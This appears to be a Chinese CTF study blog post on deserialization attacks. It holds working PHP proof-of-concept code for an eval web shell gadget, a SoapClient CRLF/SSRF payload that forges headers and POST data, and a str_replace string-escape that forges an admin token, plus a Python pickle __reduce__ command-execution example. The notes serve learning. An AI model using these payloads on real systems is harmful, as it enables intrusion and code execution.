反序列化

预备知识

PHP有一个特性:函数名和类名不区分大小写,变量名区分。

序列化的例子:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;

    }
}

class backDoor{
    private $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

echo serialize(new ctfShowUser());
?>

结果如下:

O:11:"ctfShowUser":4:{s:21:"ctfShowUserusername";s:6:"xxxxxx";
                      s:21:"ctfShowUserpassword";s:6:"xxxxxx";
                      s:18:"ctfShowUserisVip";b:0;
                      s:18:"ctfShowUserclass";O:8:"backDoor":1:
                              {s:14:"backDoorcode";s:16:"eval($_POST[1]);";}}

注意:字符串序列化后就是其本身。

有关魔术方法:
在php7.4以上:如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
serialize()函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。不过我们是在本地进行序列化的,所以没有影响。
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

过滤与绕过

正则匹配了O:数字,可以在数字前面加+绕过

SoapClient类反序列化+SSRF+CRLF

背景如下:

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
    die('error');
}else{
    $token = $_POST['token'];
    if($token=='ctfshow'){
        file_put_contents('flag.txt',$flag);
    }
}

后端代码:

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

要求是127.0.0.1的访问才有效,所以是SSRF。
通过传入的vip进行反序列化,然后调用了getFlag()方法。但是并没有给我们提供类,所以这个题利用的是php原生类SoapClient。当访问一个类不存在的方法时,php会默认调用该类的__call魔术方法,会调用SoapClient类的构造方法,进而达到发包的目的。
SoapClient可以控制ua头,但是我们还要求能控制POST的数据,以及X-Forwarded-For头,所以使用CRLF。
POC:

<?php
$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
echo urlencode(serialize($client));
?>

SoapClient类:

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数是用来指明是否是wsdl模式
如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求

如果第一个参数为null,则第二个参数必须设置location和uri
  其中location是将请求发送到的SOAP服务器的URL
  uri是SOAP服务的目标名称空间

第二个参数允许设置user_agent选项来设置请求的user-agent头

str_replace()条件下的逃逸

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

这道题会根据传入的参数生成message对象,并经过序列化、替换和base64编码后作为cookie返回。然后看向message.php:

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

会根据cookie值进行反向操作,判断token=='admin'与否。所以我们就要想办法控制$token
第一种办法可以直接构造:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

echo base64_encode(serialize(new message('a','b','c')));
?>

第二种办法的重点在于字符串替换里面,两个字符串的长度不一样:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($msg){
    return str_replace('fuck','loveU',$msg);
}

$msg1=new message('fuck','b','c');
$msg1_ser=serialize($msg1);
echo $msg1_ser;
#O:7:"message":4:{s:4:"from";s:4:"fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
$msg2=filter($msg1_ser);
echo $msg2;
#O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}
?>

可以看出序列化之后再替换会造成字符的逃逸,loveU有五个字符,但是前面的数字为4。在这个例子中,每一次替换可以逃逸一个字符,那么就可以想办法注入我们需要的内容:

$msg1=new message('fuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');

可以看到,我们在$from字段注入了一个序列化的后头的内容,包括了$token='admin',但是字符串替换后只会造成最后一位字符逃逸(fuck变为loveU把注入的最后一位挤出去了)。而注入的内容长度为62字符:

";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

所以需要重复62次fuck即可达到逃逸的效果。这样序列化并替换后的结果如下:


O:7:"message":4:{s:4:"from";s:310:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

310正好覆盖了所有的loveU,从而使得后面注入的内容逃逸了。
所以POC如下:

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

function filter($msg){
    return str_replace('fuck','loveU',$msg);
}

$msg1=new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');

$msg1_ser=serialize($msg1);

$msg2=filter($msg1_ser);

echo base64_encode($msg2);
?>

PHP的Session反序列化

参考

phar扩展php反序列化的攻击面

参考

python反序列化

参考
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象

Python 反序列化漏洞跟__reduce__()魔术方法相关
其类似于 PHP 对象中的 __wakeup() 方法,会在反序列化时自动调用
__reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为一个可调用对象,第二个参数为该对象所需要的参数

import pickle
import os

class Rce(object): 
    def __reduce__(self):
        return (os.system,('ipconfig',))

a = Rce()
b = pickle.dumps(a)
pickle.loads(b)  # 执行该语句进行反序列化,自动执行 __reduce__ 方法,并且执行 os.system('ipconfig')
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 1.序列化是什么意思呢? 序列化就是把本来不能直接存储的数据转换成可存储的数据,并且不会丢掉数据格式 seria...
    Noslpum阅读 746评论 0 1
  • 0x01 概述 什么是php反序列化漏洞呢?简单的来说,就是在php反序列化的时候,反序列化的内容是用户可控,那么...
    Pino_HD阅读 4,659评论 4 8
  • 序列化 序列化格式 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。 序列化函数原...
    it阿布阅读 667评论 0 3
  • 我是黑夜里大雨纷飞的人啊 1 “又到一年六月,有人笑有人哭,有人欢乐有人忧愁,有人惊喜有人失落,有的觉得收获满满有...
    陌忘宇阅读 8,877评论 28 54
  • 人工智能是什么?什么是人工智能?人工智能是未来发展的必然趋势吗?以后人工智能技术真的能达到电影里机器人的智能水平吗...
    ZLLZ阅读 4,107评论 0 5

友情链接更多精彩内容